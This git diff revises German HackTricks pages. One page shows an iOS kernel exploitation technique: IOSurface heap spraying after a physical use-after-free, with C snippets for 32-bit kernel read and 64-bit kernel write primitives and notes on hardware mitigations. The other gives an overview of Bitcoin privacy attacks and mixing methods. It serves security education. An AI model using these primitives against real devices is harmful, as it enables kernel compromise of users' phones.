1. Der Angreifer **erstellt eine große Anzahl von IOSurface objects** im kernel memory.
|
||||
2. Jedes IOSurface-Objekt enthält in einem seiner Felder einen **magic value**, wodurch es leicht zu identifizieren ist.
|
||||
3. Sie **scannen die freigegebenen Pages**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Page gelandet ist.
|
||||
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Page finden, können sie es nutzen, um **kernel memory zu lesen und zu schreiben**.
|
||||
|
||||
Mehr Informationen dazu in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
Weitere Informationen dazu in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Beachte, dass iOS 16+ (A12+) Geräte hardwarebasierte Schutzmaßnahmen (wie PPL oder SPTM) einführen, die physical UAF-Techniken deutlich weniger praktikabel machen.
|
||||
> PPL erzwingt strikte MMU-Schutzmechanismen für Seiten, die mit Code-Signing, Entitlements und sensiblen Kernel-Daten zusammenhängen; selbst wenn eine Seite wiederverwendet wird, werden Schreibzugriffe aus Userland oder kompromittiertem Kernel-Code auf PPL-geschützte Seiten blockiert.
|
||||
> Secure Page Table Monitor (SPTM) erweitert PPL, indem es Seitentabellen-Updates selbst härtert. Es stellt sicher, dass selbst privilegierter Kernel-Code nicht stillschweigend freigegebene Seiten remappen oder Abbildungen manipulieren kann, ohne sichere Prüfungen zu durchlaufen.
|
||||
> KTRR (Kernel Text Read-Only Region) sperrt den Code-Bereich des Kernels nach dem Boot als schreibgeschützt. Das verhindert jegliche Laufzeit-Modifikationen am Kernel-Code und schließt damit einen großen Angriffsvektor, auf den physical UAF-Exploits oft angewiesen sind.
|
||||
> Darüber hinaus sind `IOSurface`-Allokationen weniger vorhersehbar und schwerer in benutzerzugängliche Regionen zu mappen, was den „Magic Value“-Scan-Trick deutlich unzuverlässiger macht. Und `IOSurface` wird mittlerweile durch Entitlements und Sandbox-Beschränkungen geschützt.
|
||||
> Beachten Sie, dass iOS 16+ (A12+) Geräte hardwarebasierte Mitigationen (wie PPL oder SPTM) mitbringen, die physical UAF-Techniken deutlich weniger praktikabel machen.
|
||||
> PPL erzwingt strikte MMU-Schutzmaßnahmen für Pages, die mit Code-Signing, Entitlements und sensiblen Kernel-Daten zusammenhängen, sodass selbst wenn eine Page wiederverwendet wird, Schreibzugriffe aus userland oder kompromittiertem Kernel-Code auf PPL-geschützte Pages blockiert werden.
|
||||
> Secure Page Table Monitor (SPTM) erweitert PPL, indem es page table updates selbst härtert. Es stellt sicher, dass selbst privilegierter Kernel-Code nicht stillschweigend freed Pages remappen oder Mappings ohne sichere Prüfungen manipulieren kann.
|
||||
> KTRR (Kernel Text Read-Only Region) sperrt den Kernel-Code-Bereich nach dem Boot als read-only. Das verhindert Laufzeit-Änderungen am Kernel-Code und schließt einen großen Angriffsvektor, auf den physical UAF-Exploits oft angewiesen sind.
|
||||
> Außerdem sind IOSurface-Allocations weniger vorhersehbar und schwerer in user-accessible Regionen zu mappen, was den „magic value scanning“-Trick deutlich unzuverlässiger macht. Und IOSurface wird jetzt durch Entitlements und Sandbox-Restriktionen geschützt.
|
||||
|
||||
### Schritt-für-Schritt Heap Spray-Prozess
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magic value").
|
||||
2. **Scan Freed Pages**: Sie prüfen, ob eines der Objekte auf einer freigegebenen Seite alloziert wurde.
|
||||
3. **Read/Write Kernel Memory**: Durch Manipulation von Feldern im IOSurface-Objekt erhalten sie die Möglichkeit, **beliebige Reads und Writes** im Kernel-Speicher durchzuführen. Dies erlaubt ihnen:
|
||||
* Ein Feld zu verwenden, um **beliebige 32-Bit-Werte** im Kernel-Speicher zu lesen.
|
||||
* Ein anderes Feld zu verwenden, um **64-Bit-Werte zu schreiben**, wodurch ein stabiler **Kernel read/write primitive** entsteht.
|
||||
1. **Spray IOSurface Objects**: Der Angreifer erstellt viele IOSurface-Objekte mit einer speziellen Kennung ("magic value").
|
||||
2. **Scan Freed Pages**: Er prüft, ob eines der Objekte auf einer freigegebenen Page alloziert wurde.
|
||||
3. **Read/Write Kernel Memory**: Durch Manipulation von Feldern im IOSurface-Objekt erlangt er die Fähigkeit zu **arbitrary reads and writes** im kernel memory. Damit kann er:
|
||||
* Ein Feld verwenden, um **jeden 32-Bit-Wert** im kernel memory zu lesen.
|
||||
* Ein anderes Feld verwenden, um **64-Bit-Werte** zu schreiben und so ein stabiles **kernel read/write primitive** zu erreichen.
|
||||
|
||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||||
```c
|
||||
@ -162,25 +161,25 @@ free(surfaceIDs);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Erreichen von Kernel-Lese-/Schreibzugriff mit IOSurface
|
||||
### Kernel-Lese-/Schreibzugriff mit IOSurface erreichen
|
||||
|
||||
Nachdem Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (auf eine freigegebene physische Seite gemappt, die aus dem userspace zugreifbar ist) erlangt wurde, können wir es für **beliebige Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
Nachdem Kontrolle über ein IOSurface-Objekt im Kernel-Speicher erlangt wurde (auf eine freigegebene physische Seite abgebildet, die vom userspace aus zugänglich ist), können wir es für **beliebige Kernel-Lese- und Schreiboperationen** verwenden.
|
||||
|
||||
**Key Fields in IOSurface**
|
||||
**Wichtige Felder in IOSurface**
|
||||
|
||||
Das IOSurface-Objekt hat zwei entscheidende Felder:
|
||||
|
||||
1. **Use Count Pointer**: Ermöglicht einen **32-bit read**.
|
||||
2. **Indexed Timestamp Pointer**: Ermöglicht einen **64-bit write**.
|
||||
|
||||
Durch Überschreiben dieser Pointer leiten wir sie auf beliebige Adressen im Kernel-Speicher um und ermöglichen so Lese-/Schreibfähigkeiten.
|
||||
Durch Überschreiben dieser Pointer leiten wir sie auf beliebige Adressen im Kernel-Speicher um und ermöglichen so Lese-/Schreibzugriffe.
|
||||
|
||||
#### 32-Bit Kernel-Lesezugriff
|
||||
|
||||
Um einen Lesezugriff durchzuführen:
|
||||
Um einen Lesevorgang durchzuführen:
|
||||
|
||||
1. Überschreibe den **use count pointer**, sodass er auf die Zieladresse minus einem 0x14-Byte-Offset zeigt.
|
||||
2. Verwende die Methode `get_use_count`, um den Wert an dieser Adresse auszulesen.
|
||||
2. Verwende die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -198,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel-Schreibvorgang
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Um einen Schreibvorgang durchzuführen:
|
||||
Um eine Schreiboperation durchzuführen:
|
||||
|
||||
1. Überschreibe den **Pointer für den indexierten Zeitstempel** mit der Zieladresse.
|
||||
1. Überschreibe den **indexed timestamp pointer** auf die Zieladresse.
|
||||
2. Verwende die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Exploit-Ablauf (Zusammenfassung)
|
||||
#### Exploit-Ablauf — Zusammenfassung
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Freigegebene Seiten stehen zur Wiederverwendung zur Verfügung.
|
||||
2. **Spray IOSurface Objects**: Weise viele IOSurface-Objekte mit einem eindeutigen "magic value" im Kernel-Speicher zu.
|
||||
1. **Trigger Physical Use-After-Free**: Freie Seiten stehen zur Wiederverwendung zur Verfügung.
|
||||
2. **Spray IOSurface Objects**: Allokiere viele IOSurface-Objekte mit einem eindeutigen "magic value" im kernel memory.
|
||||
3. **Identify Accessible IOSurface**: Finde ein IOSurface auf einer freigegebenen Seite, die du kontrollierst.
|
||||
4. **Abuse Use-After-Free**: Ändere Pointer im IOSurface-Objekt, um beliebige **kernel read/write** über IOSurface-Methoden zu ermöglichen.
|
||||
4. **Abuse Use-After-Free**: Ändere Pointer im IOSurface-Objekt, um über IOSurface-Methoden beliebige **kernel read/write** zu ermöglichen.
|
||||
|
||||
Mit diesen Primitiven liefert der Exploit kontrollierte **32-bit reads** und **64-bit writes** im Kernel-Speicher. Weitere jailbreak-Schritte könnten stabilere read/write-Primitiven erfordern, die das Umgehen zusätzlicher Schutzmechanismen (z. B. PPL auf neueren arm64e-Geräten) notwendig machen.
|
||||
Mit diesen Primitiven stellt der Exploit kontrollierte **32-bit reads** und **64-bit writes** im kernel memory bereit. Weitere Jailbreak-Schritte könnten stabilere read/write-Primitiven erfordern, die das Umgehen zusätzlicher Schutzmechanismen (z. B. PPL auf neueren arm64e devices) notwendig machen.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,174 +1,176 @@
|
||||
# Blockchain und Kryptowährungen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundkonzepte
|
||||
## Grundlegende Konzepte
|
||||
|
||||
- **Smart Contracts** sind Programme, die auf einer Blockchain ausgeführt werden, wenn bestimmte Bedingungen erfüllt sind, und automatisieren die Ausführung von Vereinbarungen ohne Zwischenhändler.
|
||||
- **Dezentralisierte Anwendungen (dApps)** basieren auf Smart Contracts und verfügen über ein benutzerfreundliches Front-End sowie ein transparentes, prüfbares Back-End.
|
||||
- **Tokens & Coins** unterscheiden sich darin, dass Coins als digitales Geld dienen, während Tokens Wert oder Eigentum in bestimmten Kontexten repräsentieren.
|
||||
- **Utility Tokens** gewähren Zugang zu Dienstleistungen, und **Security Tokens** signalisieren den Besitz von Vermögenswerten.
|
||||
- **DeFi** steht für Dezentrale Finanzen und bietet Finanzdienstleistungen ohne zentrale Autoritäten.
|
||||
- **DEX** und **DAOs** beziehen sich auf Dezentrale Handelsplattformen und Dezentrale Autonome Organisationen.
|
||||
- **Smart Contracts** werden als Programme definiert, die auf einer Blockchain ausgeführt werden, wenn bestimmte Bedingungen erfüllt sind, und die Ausführung von Vereinbarungen ohne Zwischeninstanzen automatisieren.
|
||||
- **Decentralized Applications (dApps)** bauen auf Smart Contracts auf und verfügen über ein benutzerfreundliches Frontend sowie ein transparentes, prüfbares Backend.
|
||||
- **Tokens & Coins** unterscheiden sich dahingehend, dass Coins als digitales Geld dienen, während Tokens in bestimmten Kontexten Wert oder Eigentum repräsentieren.
|
||||
- **Utility Tokens** gewähren Zugriff auf Dienste, und **Security Tokens** kennzeichnen Eigentum an Vermögenswerten.
|
||||
- **DeFi** steht für Decentralized Finance und bietet Finanzdienstleistungen ohne zentrale Autoritäten.
|
||||
- **DEX** und **DAOs** bezeichnen jeweils Decentralized Exchange Platforms und Decentralized Autonomous Organizations.
|
||||
|
||||
## Konsensmechanismen
|
||||
|
||||
Konsensmechanismen gewährleisten sichere und vereinbarte Transaktionsvalidierungen auf der Blockchain:
|
||||
Konsensmechanismen stellen sichere und abgestimmte Transaktionsvalidierungen auf der Blockchain sicher:
|
||||
|
||||
- **Proof of Work (PoW)** basiert auf Rechenleistung zur Verifizierung von Transaktionen.
|
||||
- **Proof of Stake (PoS)** verlangt von Validierern, eine bestimmte Menge an Tokens zu halten, was den Energieverbrauch im Vergleich zu PoW reduziert.
|
||||
- **Proof of Work (PoW)** beruht auf Rechenleistung zur Verifikation von Transaktionen.
|
||||
- **Proof of Stake (PoS)** verlangt, dass Validatoren eine bestimmte Menge an Tokens halten, und reduziert im Vergleich zu PoW den Energieverbrauch.
|
||||
|
||||
## Bitcoin-Grundlagen
|
||||
|
||||
### Transaktionen
|
||||
|
||||
Bitcoin-Transaktionen beinhalten die Übertragung von Geldern zwischen Adressen. Transaktionen werden durch digitale Signaturen validiert, die sicherstellen, dass nur der Besitzer des privaten Schlüssels Überweisungen initiieren kann.
|
||||
Bitcoin-Transaktionen umfassen das Übertragen von Mitteln zwischen Adressen. Transaktionen werden durch digitale Signaturen validiert, womit sichergestellt wird, dass nur der Eigentümer des privaten Schlüssels Überweisungen initiieren kann.
|
||||
|
||||
#### Schlüsselkomponenten:
|
||||
#### Wichtige Komponenten:
|
||||
|
||||
- **Multisignatur-Transaktionen** erfordern mehrere Signaturen zur Autorisierung einer Transaktion.
|
||||
- Transaktionen bestehen aus **Inputs** (Quelle der Gelder), **Outputs** (Ziel), **Fees** (bezahlt an Miner) und **Scripts** (Transaktionsregeln).
|
||||
- **Multisignature Transactions** erfordern mehrere Signaturen, um eine Transaktion zu autorisieren.
|
||||
- Transaktionen bestehen aus **inputs** (Geldquelle), **outputs** (Ziel), **fees** (an Miner gezahlt) und **scripts** (Transaktionsregeln).
|
||||
|
||||
### Lightning-Netzwerk
|
||||
### Lightning Network
|
||||
|
||||
Zielt darauf ab, die Skalierbarkeit von Bitcoin zu verbessern, indem mehrere Transaktionen innerhalb eines Kanals ermöglicht werden, wobei nur der endgültige Zustand an die Blockchain übertragen wird.
|
||||
Zielt darauf ab, die Skalierbarkeit von Bitcoin zu verbessern, indem mehrere Transaktionen innerhalb eines Channels ermöglicht werden und lediglich der Endzustand an die Blockchain gesendet wird.
|
||||
|
||||
## Bitcoin-Privatsphäre-Bedenken
|
||||
## Bedenken zur Bitcoin-Privatsphäre
|
||||
|
||||
Privatsphäreangriffe, wie **Common Input Ownership** und **UTXO Change Address Detection**, nutzen Transaktionsmuster aus. Strategien wie **Mixers** und **CoinJoin** verbessern die Anonymität, indem sie Transaktionsverbindungen zwischen Benutzern verschleiern.
|
||||
Privacy-Angriffe, wie **Common Input Ownership** und **UTXO Change Address Detection**, nutzen Transaktionsmuster aus. Strategien wie **Mixers** und **CoinJoin** verbessern die Anonymität, indem sie Transaktionsverknüpfungen zwischen Nutzern verschleiern.
|
||||
|
||||
## Bitcoins anonym erwerben
|
||||
|
||||
Methoden umfassen Bargeldgeschäfte, Mining und die Verwendung von Mixern. **CoinJoin** mischt mehrere Transaktionen, um die Rückverfolgbarkeit zu erschweren, während **PayJoin** CoinJoins als reguläre Transaktionen tarnt, um die Privatsphäre zu erhöhen.
|
||||
Methoden umfassen Barhandel, Mining und die Nutzung von Mixern. **CoinJoin** mischt mehrere Transaktionen, um die Rückverfolgbarkeit zu erschweren, während **PayJoin** CoinJoins als normale Transaktionen tarnt, um die Privatsphäre weiter zu erhöhen.
|
||||
|
||||
# Bitcoin-Privatsphäre-Angriffe
|
||||
|
||||
# Zusammenfassung der Bitcoin-Privatsphäre-Angriffe
|
||||
|
||||
In der Welt von Bitcoin sind die Privatsphäre von Transaktionen und die Anonymität der Benutzer oft Gegenstand von Bedenken. Hier ist eine vereinfachte Übersicht über mehrere gängige Methoden, durch die Angreifer die Bitcoin-Privatsphäre gefährden können.
|
||||
Im Bitcoin-Umfeld sind die Privatsphäre von Transaktionen und die Anonymität von Nutzern häufig problematisch. Hier eine vereinfachte Übersicht mehrerer gängiger Methoden, mit denen Angreifer die Bitcoin-Privatsphäre gefährden können.
|
||||
|
||||
## **Annahme des gemeinsamen Eingangsbesitzes**
|
||||
## **Common Input Ownership Assumption**
|
||||
|
||||
Es ist allgemein selten, dass Eingänge von verschiedenen Benutzern in einer einzigen Transaktion kombiniert werden, aufgrund der damit verbundenen Komplexität. Daher wird **angenommen, dass zwei Eingangsadressen in derselben Transaktion oft demselben Eigentümer gehören**.
|
||||
Es ist allgemein selten, dass Inputs verschiedener Nutzer aufgrund der damit verbundenen Komplexität in einer einzigen Transaktion kombiniert werden. Daher wird oft angenommen, dass **zwei Input-Adressen in derselben Transaktion demselben Eigentümer gehören**.
|
||||
|
||||
## **UTXO-Wechseladresse-Erkennung**
|
||||
## **UTXO Change Address Detection**
|
||||
|
||||
Ein UTXO, oder **Unspent Transaction Output**, muss in einer Transaktion vollständig ausgegeben werden. Wenn nur ein Teil davon an eine andere Adresse gesendet wird, geht der Rest an eine neue Wechseladresse. Beobachter können annehmen, dass diese neue Adresse dem Absender gehört, was die Privatsphäre gefährdet.
|
||||
Ein UTXO, also **Unspent Transaction Output**, muss in einer Transaktion vollständig ausgegeben werden. Wird nur ein Teil an eine andere Adresse gesendet, geht der Rest an eine neue Change-Adresse. Beobachter können annehmen, dass diese neue Adresse dem Sender gehört, wodurch die Privatsphäre gefährdet wird.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Um dies zu mildern, können Mischdienste oder die Verwendung mehrerer Adressen helfen, den Besitz zu verschleiern.
|
||||
Zur Abschwächung können Mixing-Services oder die Verwendung mehrerer Adressen helfen, die Eigentumsverhältnisse zu verschleiern.
|
||||
|
||||
## **Exposition in sozialen Netzwerken & Foren**
|
||||
## **Social Networks & Forums Exposure**
|
||||
|
||||
Benutzer teilen manchmal ihre Bitcoin-Adressen online, was es **einfach macht, die Adresse mit ihrem Eigentümer zu verknüpfen**.
|
||||
Nutzer teilen manchmal ihre Bitcoin-Adressen online, wodurch es **einfach wird, die Adresse mit ihrem Eigentümer zu verknüpfen**.
|
||||
|
||||
## **Transaktionsgraph-Analyse**
|
||||
## **Transaction Graph Analysis**
|
||||
|
||||
Transaktionen können als Graphen visualisiert werden, die potenzielle Verbindungen zwischen Benutzern basierend auf dem Fluss von Geldern offenbaren.
|
||||
Transaktionen können als Graphen visualisiert werden und offenbaren potenzielle Verbindungen zwischen Nutzern basierend auf dem Geldfluss.
|
||||
|
||||
## **Unnötige Eingangsheuristik (Optimale Wechselheuristik)**
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
|
||||
Diese Heuristik basiert auf der Analyse von Transaktionen mit mehreren Eingängen und Ausgängen, um zu erraten, welcher Ausgang das Wechselgeld ist, das an den Absender zurückgegeben wird.
|
||||
Diese Heuristik basiert auf der Analyse von Transaktionen mit mehreren Inputs und Outputs, um zu erraten, welcher Output die Change ist, die an den Sender zurückgeht.
|
||||
|
||||
### Beispiel
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Wenn das Hinzufügen weiterer Eingaben die Ausgabe größer macht als eine einzelne Eingabe, kann dies die Heuristik verwirren.
|
||||
Wenn das Hinzufügen weiterer Inputs das Change-Output größer macht als jeder einzelne Input, kann das die Heuristik verwirren.
|
||||
|
||||
## **Erzwungene Adressennutzung**
|
||||
## **Erzwungene Adresswiederverwendung**
|
||||
|
||||
Angreifer können kleine Beträge an zuvor verwendete Adressen senden, in der Hoffnung, dass der Empfänger diese mit anderen Eingaben in zukünftigen Transaktionen kombiniert und somit Adressen miteinander verknüpft.
|
||||
Angreifer können kleine Beträge an bereits verwendete Adressen senden, in der Hoffnung, dass der Empfänger diese in zukünftigen Transaktionen mit anderen Inputs kombiniert und dadurch Adressen miteinander verknüpft.
|
||||
|
||||
### Korrektes Wallet-Verhalten
|
||||
|
||||
Wallets sollten vermeiden, Münzen zu verwenden, die auf bereits verwendeten, leeren Adressen empfangen wurden, um diesen Datenschutzleck zu verhindern.
|
||||
Wallets sollten vermeiden, Coins zu verwenden, die auf bereits verwendeten, leeren Adressen empfangen wurden, um dieses privacy leak zu verhindern.
|
||||
|
||||
## **Andere Blockchain-Analyse-Techniken**
|
||||
## **Weitere Blockchain-Analyse-Techniken**
|
||||
|
||||
- **Exakte Zahlungsbeträge:** Transaktionen ohne Wechselgeld sind wahrscheinlich zwischen zwei Adressen, die demselben Benutzer gehören.
|
||||
- **Runde Zahlen:** Eine runde Zahl in einer Transaktion deutet darauf hin, dass es sich um eine Zahlung handelt, wobei die nicht-runde Ausgabe wahrscheinlich das Wechselgeld ist.
|
||||
- **Wallet-Fingerprinting:** Verschiedene Wallets haben einzigartige Muster bei der Transaktionsgenerierung, die es Analysten ermöglichen, die verwendete Software und potenziell die Wechseladresse zu identifizieren.
|
||||
- **Betrags- und Zeitkorrelationen:** Die Offenlegung von Transaktionszeiten oder -beträgen kann Transaktionen nachvollziehbar machen.
|
||||
- **Exact Payment Amounts:** Transaktionen ohne Change sind höchstwahrscheinlich zwischen zwei Adressen, die demselben Nutzer gehören.
|
||||
- **Round Numbers:** Eine runde Zahl in einer Transaktion deutet auf eine Zahlung hin, wobei der nicht-runde Output vermutlich das Change ist.
|
||||
- **Wallet Fingerprinting:** Verschiedene Wallets haben einzigartige Muster bei der Erstellung von Transaktionen, die Analysten erlauben, die verwendete Software zu identifizieren und möglicherweise die Change-Adresse zu bestimmen.
|
||||
- **Amount & Timing Correlations:** Die Offenlegung von Transaktionszeiten oder -beträgen kann Transaktionen nachvollziehbar machen.
|
||||
|
||||
## **Verkehrsanalyse**
|
||||
## **Traffic Analysis**
|
||||
|
||||
Durch die Überwachung des Netzwerkverkehrs können Angreifer potenziell Transaktionen oder Blöcke mit IP-Adressen verknüpfen, was die Privatsphäre der Benutzer gefährdet. Dies gilt insbesondere, wenn eine Entität viele Bitcoin-Knoten betreibt, was ihre Fähigkeit zur Überwachung von Transaktionen erhöht.
|
||||
Durch Überwachen des Netzwerkverkehrs können Angreifer möglicherweise Transaktionen oder Blöcke mit IP-Adressen verknüpfen und so die Privatsphäre der Nutzer beeinträchtigen. Dies gilt besonders, wenn eine Entität viele Bitcoin-Nodes betreibt, was ihre Fähigkeit zur Überwachung von Transaktionen erhöht.
|
||||
|
||||
## Mehr
|
||||
## More
|
||||
|
||||
Für eine umfassende Liste von Datenschutzangriffen und -abwehrmaßnahmen besuchen Sie [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
Für eine umfassende Liste von Privacy-Angriffen und -Verteidigungen besuchen Sie [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Anonyme Bitcoin-Transaktionen
|
||||
# Anonymous Bitcoin Transactions
|
||||
|
||||
## Möglichkeiten, Bitcoins anonym zu erhalten
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
|
||||
- **Bargeldtransaktionen**: Erwerb von Bitcoin durch Bargeld.
|
||||
- **Bargeldalternativen**: Kauf von Geschenkkarten und deren Online-Einlösung gegen Bitcoin.
|
||||
- **Mining**: Die privateste Methode, um Bitcoins zu verdienen, ist das Mining, insbesondere wenn es alleine durchgeführt wird, da Mining-Pools möglicherweise die IP-Adresse des Miners kennen. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Diebstahl**: Theoretisch könnte das Stehlen von Bitcoin eine weitere Methode sein, um es anonym zu erwerben, obwohl es illegal und nicht empfohlen ist.
|
||||
- **Cash Transactions**: Bitcoin bar erwerben.
|
||||
- **Cash Alternatives**: Geschenkkarten kaufen und online gegen Bitcoin tauschen.
|
||||
- **Mining**: Die privateste Methode, Bitcoins zu verdienen, ist Mining, besonders solo, da Mining-Pools die IP-Adresse des Miners kennen könnten. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretisch könnte das Stehlen von Bitcoin eine weitere Methode sein, sie anonym zu erwerben, es ist jedoch illegal und nicht empfehlenswert.
|
||||
|
||||
## Mischdienste
|
||||
## Mixing Services
|
||||
|
||||
Durch die Nutzung eines Mischdienstes kann ein Benutzer **Bitcoins senden** und **andere Bitcoins im Gegenzug erhalten**, was die Rückverfolgung des ursprünglichen Eigentümers erschwert. Dennoch erfordert dies Vertrauen in den Dienst, dass er keine Protokolle führt und die Bitcoins tatsächlich zurückgibt. Alternative Mischoptionen sind Bitcoin-Casinos.
|
||||
Durch die Nutzung eines Mixing-Services kann ein Nutzer Bitcoins senden und im Gegenzug andere Bitcoins erhalten, was die Rückverfolgung des ursprünglichen Besitzers erschwert. Das setzt jedoch Vertrauen in den Service voraus, keine Logs zu führen und die Bitcoins tatsächlich zurückzugeben. Alternative Mixing-Optionen sind Bitcoin-Casinos.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** kombiniert mehrere Transaktionen von verschiedenen Benutzern zu einer, was den Prozess für jeden, der versucht, Eingaben mit Ausgaben abzugleichen, kompliziert. Trotz seiner Effektivität können Transaktionen mit einzigartigen Eingabe- und Ausgabengrößen dennoch potenziell zurückverfolgt werden.
|
||||
CoinJoin verbindet mehrere Transaktionen unterschiedlicher Nutzer zu einer, was das Zuordnen von Inputs zu Outputs erschwert. Trotz seiner Wirksamkeit können Transaktionen mit einzigartigen Input- und Output-Größen weiterhin potenziell zurückverfolgt werden.
|
||||
|
||||
Beispieltransaktionen, die CoinJoin verwendet haben könnten, sind `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` und `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Beispiel-Transaktionen, die CoinJoin genutzt haben könnten, sind `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` und `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Für weitere Informationen besuchen Sie [CoinJoin](https://coinjoin.io/en). Für einen ähnlichen Dienst auf Ethereum schauen Sie sich [Tornado Cash](https://tornado.cash) an, der Transaktionen mit Mitteln von Minern anonymisiert.
|
||||
Weitere Informationen finden Sie unter [CoinJoin](https://coinjoin.io/en). Für einen ähnlichen Dienst auf Ethereum siehe [Tornado Cash](https://tornado.cash), das Transaktionen mit Mitteln von Minern anonymisiert.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Eine Variante von CoinJoin, **PayJoin** (oder P2EP), tarnt die Transaktion zwischen zwei Parteien (z. B. einem Kunden und einem Händler) als reguläre Transaktion, ohne die charakteristischen gleichmäßigen Ausgaben von CoinJoin. Dies macht es extrem schwierig, sie zu erkennen, und könnte die gängige Heuristik zur gemeinsamen Eingabebesitzverfolgung, die von Transaktionsüberwachungsstellen verwendet wird, ungültig machen.
|
||||
Eine Variante von CoinJoin, PayJoin (oder P2EP), tarnt die Transaktion zwischen zwei Parteien (z. B. einem Kunden und einem Händler) als reguläre Transaktion, ohne die markanten gleichen Outputs, die für CoinJoin charakteristisch sind. Das macht sie extrem schwer zu erkennen und kann die common-input-ownership heuristic, die von Überwachungsstellen verwendet wird, außer Kraft setzen.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Transaktionen wie die oben genannten könnten PayJoin sein, was die Privatsphäre verbessert und gleichzeitig von standardmäßigen Bitcoin-Transaktionen nicht zu unterscheiden ist.
|
||||
Transaktionen wie die oben gezeigten könnten PayJoin sein, die die Privatsphäre erhöhen und gleichzeitig nicht von normalen Bitcoin-Transaktionen zu unterscheiden sind.
|
||||
|
||||
**Die Nutzung von PayJoin könnte traditionelle Überwachungsmethoden erheblich stören**, was es zu einer vielversprechenden Entwicklung im Streben nach transaktionaler Privatsphäre macht.
|
||||
**Der Einsatz von PayJoin könnte traditionelle Überwachungsmethoden erheblich stören**, was es zu einer vielversprechenden Entwicklung im Streben nach Transaktions-Privatsphäre macht.
|
||||
|
||||
# Beste Praktiken für Privatsphäre in Kryptowährungen
|
||||
# Best Practices für Privatsphäre bei Kryptowährungen
|
||||
|
||||
## **Wallet-Synchronisationstechniken**
|
||||
|
||||
Um Privatsphäre und Sicherheit zu gewährleisten, ist die Synchronisation von Wallets mit der Blockchain entscheidend. Zwei Methoden stechen hervor:
|
||||
Um Privatsphäre und Sicherheit zu wahren, ist die Synchronisation von Wallets mit der Blockchain entscheidend. Zwei Methoden stechen hervor:
|
||||
|
||||
- **Vollknoten**: Durch das Herunterladen der gesamten Blockchain gewährleistet ein Vollknoten maximale Privatsphäre. Alle jemals getätigten Transaktionen werden lokal gespeichert, was es Gegnern unmöglich macht, zu identifizieren, an welchen Transaktionen oder Adressen der Benutzer interessiert ist.
|
||||
- **Client-seitige Blockfilterung**: Diese Methode beinhaltet die Erstellung von Filtern für jeden Block in der Blockchain, sodass Wallets relevante Transaktionen identifizieren können, ohne spezifische Interessen gegenüber Netzwerkbeobachtern offenzulegen. Leichte Wallets laden diese Filter herunter und holen sich nur vollständige Blöcke, wenn eine Übereinstimmung mit den Adressen des Benutzers gefunden wird.
|
||||
- **Full node**: Durch das Herunterladen der gesamten Blockchain gewährleistet ein Full node maximale Privatsphäre. Alle jemals getätigten Transaktionen werden lokal gespeichert, wodurch es für Angreifer unmöglich wird zu identifizieren, an welchen Transaktionen oder Adressen der Nutzer interessiert ist.
|
||||
- **Client-side block filtering**: Diese Methode erzeugt Filter für jeden Block der Blockchain, wodurch Wallets relevante Transaktionen erkennen können, ohne Netzwerkbeobachtern spezifische Interessen preiszugeben. Lightweight wallets laden diese Filter herunter und holen nur dann komplette Blöcke, wenn eine Übereinstimmung mit den Adressen des Nutzers gefunden wird.
|
||||
|
||||
## **Tor zur Anonymität nutzen**
|
||||
## **Tor für Anonymität nutzen**
|
||||
|
||||
Da Bitcoin in einem Peer-to-Peer-Netzwerk betrieben wird, wird empfohlen, Tor zu verwenden, um Ihre IP-Adresse zu maskieren und die Privatsphäre bei der Interaktion mit dem Netzwerk zu verbessern.
|
||||
Da Bitcoin in einem Peer-to-Peer-Netzwerk betrieben wird, wird empfohlen, Tor zu verwenden, um deine IP-Adresse zu verschleiern und so die Privatsphäre bei der Interaktion mit dem Netzwerk zu erhöhen.
|
||||
|
||||
## **Vermeidung von Adresswiederverwendung**
|
||||
## **Adresswiederverwendung verhindern**
|
